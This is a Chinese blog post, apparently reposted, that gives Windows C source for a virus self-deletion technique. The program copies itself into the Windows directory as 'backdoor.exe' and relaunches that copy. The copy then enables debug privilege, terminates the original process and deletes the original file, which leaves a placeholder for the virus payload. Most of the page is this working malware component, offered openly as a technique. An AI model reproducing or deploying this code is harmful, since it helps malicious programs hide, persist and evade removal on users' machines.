zoukankan      html  css  js  c++  java
  • 另类病毒的自删除方法

    // 调整权限

    VOID DebugPrivilege()

    {

        HANDLE hToken = NULL;

       

        BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

       

        if ( bRet == TRUE )

        {

            TOKEN_PRIVILEGES tp;

            tp.PrivilegeCount = 1;

           LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

            tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;

           AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

           

            CloseHandle(hToken);

        }

    }

     

    // 获得某进程的PID

    DWORD GetProcessId(char *szProcessName)

    {

        DWORD dwPid = 0;

        BOOL bRet = 0;

        PROCESSENTRY32 pe32 = { 0};

        pe32.dwSize =sizeof(PROCESSENTRY32);

     

        HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

        bRet = Process32First(hSnap,&pe32);

     

        while ( bRet )

        {

            if (strcmp(pe32.szExeFile, szProcessName) == 0 )

            {

                break;

            }

            bRet =Process32Next(hSnap, &pe32);

        }

     

        dwPid =pe32.th32ProcessID;

        return dwPid;

    }

     

    // 结束某进程

    VOID CloseProcess(DWORD dwPid)

    {

        HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

        TerminateProcess(hProcess,0);

        CloseHandle(hProcess);

    }

     

    这几个函数完成后,我们就来根据病毒的流程来完成病毒的主体代码,代码如下:

    int main(int argc, char **argv)

    {

        // Windows目录

        char szWinDir[MAX_PATH] ={ 0 };

        // 当前目录

        char szCurrDir[MAX_PATH] ={ 0 };

     

       GetWindowsDirectory(szWinDir, MAX_PATH);

        GetModuleFileName(NULL,szCurrDir, MAX_PATH);

     

        // 获取当前的目录

        int ch = '\';

        char *pFileName =strrchr(szCurrDir, ch);

        int nLen =strlen(szCurrDir) - strlen(pFileName);

        szCurrDir[nLen] = NULL;

     

        if ( strcmp(szWinDir,szCurrDir) == 0 )

        {

            // 相同目录

            // 判断参数个数

            // 根据参数个数判断是否需要删除原病毒文件

            // 如果病毒是开机自动启动的话,不会带有参数

            printf("argc = %d ", argc);

            if ( argc == 2 )

            {

                ch = '\';

                pFileName =strrchr(argv[1], ch);

                pFileName ++;

               printf("pFileName = %s ", pFileName);

                DWORD dwPid =GetProcessId(pFileName);

                printf("dwPid= %d ", dwPid);

                DebugPrivilege();

               CloseProcess(dwPid);

                pFileName =argv[1];

               printf("pFileName = %s ", pFileName);

                Sleep(3000);

               DeleteFile(pFileName);

            }

            else

            {

                // 病毒的功能代码

            }

        }

        else

        {

            // 不同目录,说明是第一次运行

     

            // 复制自身到windows目录里下

            strcat(szWinDir,"\backdoor.exe");

           GetModuleFileName(NULL, szCurrDir, MAX_PATH);

            CopyFile(szCurrDir,szWinDir, FALSE);

     

            // 构造要运行windows目录下的病毒

            // 以及要传递的自身位置

            strcat(szWinDir," "");

            strcat(szWinDir,szCurrDir);

            strcat(szWinDir,""");

            printf("%s ", szWinDir);

            WinExec(szWinDir, SW_SHOW);

            Sleep(1000);

        }

     

        // getch()模拟病毒的动作

        // 保持病毒进程不退出

        getch();

        return 0;

    }

  • 相关阅读:
    VS code 配置 PySide6的UI开发环境
    Python及PySide6学习网址
    NOIP2021模拟赛10.12 题解
    P2388 阶乘之乘 题解
    P3992 [BJOI2017]开车
    「NOIP2021模拟赛四 B」Polyline 题解
    P7115 [NOIP2020] 移球游戏 题解
    P7114 [NOIP2020] 字符串匹配 题解
    P3391 【模板】文艺平衡树 题解
    致夏天
  • 原文地址:https://www.cnblogs.com/dyllove98/p/3192329.html
Copyright © 2011-2022 走看看